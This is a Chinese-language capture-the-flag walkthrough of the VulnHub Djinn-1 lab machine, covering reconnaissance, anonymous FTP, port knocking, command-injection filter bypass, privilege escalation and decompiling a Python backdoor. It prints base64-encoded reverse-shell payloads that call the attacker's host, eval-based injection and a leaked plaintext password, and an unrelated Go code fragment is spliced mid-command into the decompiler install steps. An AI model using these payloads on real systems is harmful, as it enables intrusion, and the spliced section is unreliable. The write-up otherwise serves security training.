title: Vulnhub-Djinn-1
categories:
- VulnHub
tags:
- Linux
- nmap
- gobuster
- 命令执行
- 命令执行绕过
- sudo
- FTP
- suid
- 匿名登录
- 端口碰撞
- knock
- Python
- SSH
- burpsuite
- 反编译
- uncompyle
- decompile3
cover: /images/Vulnhub.png
abbrlink: 37b881
date: 2023-03-04 01:26:14
Vulnhub Djinn-1<!--more-->
0x01 靶机介绍
-
Level: Beginner-Intermediate
-
flags: user.txt and root.txt
-
Description: The machine is VirtualBox as well as VMWare compatible. The DHCP will assign an IP automatically. You'll see the IP right on the login screen. You have to find and read two flags (user and root) which is present in user.txt and root.txt respectively.
-
Format: Virtual Machine (Virtualbox - OVA)
-
Operating System: Linux
靶机下载地址:
https://www.vulnhub.com/entry/djinn-1,397/
0x02 侦查
端口探测
首先使用 nmap 进行端口扫描
nmap -p- -sV -sC -A 192.168.0.106 -oA nmap_djinn
扫描结果显示目标开放了21、22、1337、7331端口吗,其中存在 FTP 匿名登录漏洞
21端口
利用匿名用户登录 FTP 服务
#anonymous/anonymous
ftp 192.168.0.106
下载其中三个文件
ftp > get creds.txt
ftp > get game.txt
ftp > get message.txt
分别查看内容如下,文本提示我们需要访问1337端口拿到最终的礼物
cat cred.txt
cat game.txt
cat message.txt
1337端口
使用 nc 连接目标1337端口,提示需要回答1000次才能收到礼物
nc 192.168.0.106 1337 -vv
7331端口
访问http://192.168.0.106:7331
为博客界面
目录扫描
使用 gobuster 进行目录扫描,成功找到目录wish
、genie
gobuster dir -u http://192.168.0.106:7331 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
访问
http://192.168.0.106:7331/wish
存在输入口,而访问genie
目录响应为403
0x03 上线[www-data]
破解游戏
根据提示回答1000遍问题后会给予礼物,手工输入肯定不行,因此可以编写脚本执行
#coding:utf-8
import logging
import telnetlib
import time
import re
def main():
try:
tn = telnetlib.Telnet('192.168.0.106',port=1337)
except:
logging.warning("errr")
time.sleep(0.5)
loop=1
while loop<1002:
data = tn.read_very_eager().decode('ascii')
print(data)
res = re.search('(.*?)s>',data).group(1)
datas = str(calc(res)).strip()
print(str(loop)+":"+datas)
loop=loop+1
tn.write(datas.encode('ascii')+b"n")
time.sleep(0.1)
data = tn.read_very_eager().decode('ascii')
return data
def calc(res):
res_str = res.strip('(').strip(")").replace("'","")
muns = res_str.split(',')
munber1 = muns[0].strip()
orperator = muns[1].strip()
munber2 = muns[2].strip()
res = eval(munber1+orperator+munber2)
return res
print(main())
执行脚本后拿到三个数字1356、6784、3409
python3 exp_1377.py
端口碰撞
利用 knock 依次访问1356、6784、3409端口,成功修改防火墙规则
knockd
knock 192.168.0.106 1356 6784 3409
目标系统 SSH 服务成功对外开放
nmap -p 22 -sV 192.168.0.106
命令执行
在/wish
目录下的输入whoami
,而在/genie
中会返回命令回显
尝试读取/etc/passwd
被拦截
利用 Base64 编码成功绕过防护
echo "cat /etc/passwd" | base64
# 编码后
Y2F0IC9ldGMvcGFzc3dkCg==
通过 BurpSuite 抓取数据包并修改执行命令,需要注意的是 payload 要 URL 编码
echo "Y2F0IC9ldGMvcGFzc3dkCg==" | base64 -d | bash
成功拿到敏感信息,其中存在可登录用户root
、sam
、nitish
反弹shell
在本地监听9001端口
nc -nvlp 9001
修改命令执行 payload
bash -i >& /dev/tcp/172.20.10.4/9001 0>&1
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMTAuNC85MDAxIDA+JjEK" | base64 -d | bash
成功拿到反弹shell,通过 Python 切换 pty 环境
python -c 'import pty;pty.spawn("/bin/bash")'
0x04 权限提升[nitish]
信息收集
成功拿到网站中app.py
源代码,通过代码审计发现validate
函数会对传入字符串进行条件判断,如果满足条件就会返回 True,否则就返回False,同时过滤命令cat
import subprocess
from flask import Flask, redirect, render_template, request, url_for
app = Flask(__name__)
app.secret_key = "key"
CREDS = "/home/nitish/.dev/creds.txt"
RCE = ["/", ".", "?", "*", "^", "$", "eval", ";"]
def validate(cmd):
if CREDS in cmd and "cat" not in cmd:
return True
try:
for i in RCE:
for j in cmd:
if i == j:
return False
return True
except Exception:
return False
def index():
return render_template("main.html")
def wish():
execute = request.form.get("cmd")
if execute:
if validate(execute):
output = subprocess.Popen(execute, shell=True,
stdout=subprocess.PIPE).stdout.read()
else:
output = "Wrong choice of words"
return redirect(url_for("genie", name=output))
else:
return render_template('wish.html')
def genie():
if 'name' in request.args:
page = request.args.get('name')
else:
page = "It's not that hard"
return render_template('genie.html', file=page)
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=True)
经搜索找到存在登录凭证,成功找到账号密码为
nitish/p4ssw0rdStr3r0n9
cat /home/nitish/.dev/creds.txt
当然也可以通过命令执行漏洞来获取文本内容
more /home/nitish/.dev/creds.txt
通过 su 命令切换至用户nitish
,同时拿到第一个flag
su nitish
cat user.txt
0x05 提升权限[sam]
信息收集
查看 sudo 权限,发现以管理员权限执行genie
无需密码
sudo -l
而genie
存在 suid 特权,其属主是用户 sam
ls -la /usr/bin/genie
查看
genie
帮助文档
genie -h
man genie
成功找到cmd
参数,帮助信息提示可执行命令
sudo提权
执行命令成功
genie -cmd id
利用 sudo 切换为 sam 用户
sudo -u sam /usr/bin/genie -c id
查看 sam 用户发现以管理员权限执行/root/lago
无需密码
sudo -l
0x06 权限提升[root]
信息收集
执行/root/lago
可选择不同的数字执行操作
sudo -u root /root/lago
查看家目录文件发现.pyc
,可能lago
使用 Python 编译
利用 nc 接收文件.pyc
nc -nvlp 9002 > 1.pyc
在靶机中传输.pyc
nc 172.20.10.4 9002 < .pyc
Python反编译
使用 uncompyle6 对.pyc
进行反编译
uncompyle6 -o 1.py 1.pyc
如果未安装可使用以下命令
pip3 install uncompyle6
但由于uncompyle6
只支持到python 3.8
,因此选择decompile3
安装
下载地址:
https://github.com/rocky/python-decompile3
cd python-decompifunc main() {
a := app.New()
w := a.NewWindow("Diagonal")
text1 := widget.NewLabel("topleft")
text2 := widget.NewLabel("Middle Label")
text3 := widget.NewLabel("bottomright")
text1, text2, text3))
w.ShowAndRun()
}le3
pip install -e .
当然也可以使用 pip 进行安装,完成后反编译.pyc
pip2 install uncompyle6
uncompyle6 -o 1.py 1.pyc
反编译后 Python 源代码如下:
# uncompyle6 version 3.7.4
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.16 (default, Jun 18 2021, 03:23:53)
# [GCC Apple LLVM 12.0.5 (clang-1205.0.19.59.6) [+internal-os, ptrauth-isa=deploy
# Embedded file name: /home/mzfr/scripts/exp.py
# Compiled at: 2019-11-07 21:05:18
from getpass import getuser
from os import system
from random import randint
def naughtyboi():
print 'Working on it!! '
def guessit():
num = randint(1, 101)
print 'Choose a number between 1 to 100: '
s = input('Enter your number: ')
if s == num:
system('/bin/sh')
else:
print 'Better Luck next time'
def readfiles():
user = getuser()
path = input('Enter the full of the file to read: ')
print 'User %s is not allowed to read %s' % (user, path)
def options():
print 'What do you want to do ?'
print '1 - Be naughty'
print '2 - Guess the number'
print '3 - Read some damn files'
print '4 - Work'
choice = int(input('Enter your choice: '))
return choice
def main(op):
if op == 1:
naughtyboi()
elif op == 2:
guessit()
elif op == 3:
readfiles()
elif op == 4:
print 'work your ass off!!'
else:
print 'Do something better with your life'
if __name__ == '__main__':
main(options())
经审计后可知当s
等于num
时会执行/bin/sh
。输入 num 成功提权为 root
sudo -u root /root/lago
在家目录下成功找到第二个flag
cd /root
./proof.sh
命令执行扩展
虽然nitish
拥有genie
的 sudo 权限,但仍无法成功提权
sudo -u sam /usr/bin/genie -p "/bin/bash"
sudo -u sam /usr/bin/genie -p "/bin/sh"
genie whoami -p /bin/bash -e /bin/bash
sudo -u sam genie -p "/bin/bash" -g wish
但针对1337端口执行命令可成功回显
nc -nv 172.20.10.2 1337
eval('__import__("os").system("whoami")')
在本地监听6666端口
nc -nvlp 6666
通过 Base64 编码 payload
bash -i >& /dev/tcp/172.20.10.4/6666 0>&1
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMTAuNC82NjY2IDA+JjEK" | base64 -d | bash
输入编码后的命令
nc -nv 172.20.10.2 1337
eval('__import__("os").system("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMTAuNC82NjY2IDA+JjEK | base64 -d | bash")')
成功拿到 root 权限
0x07 知识星球
原文始发于微信公众号(狐狸说安全):Vulnhub-Djinn-1
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论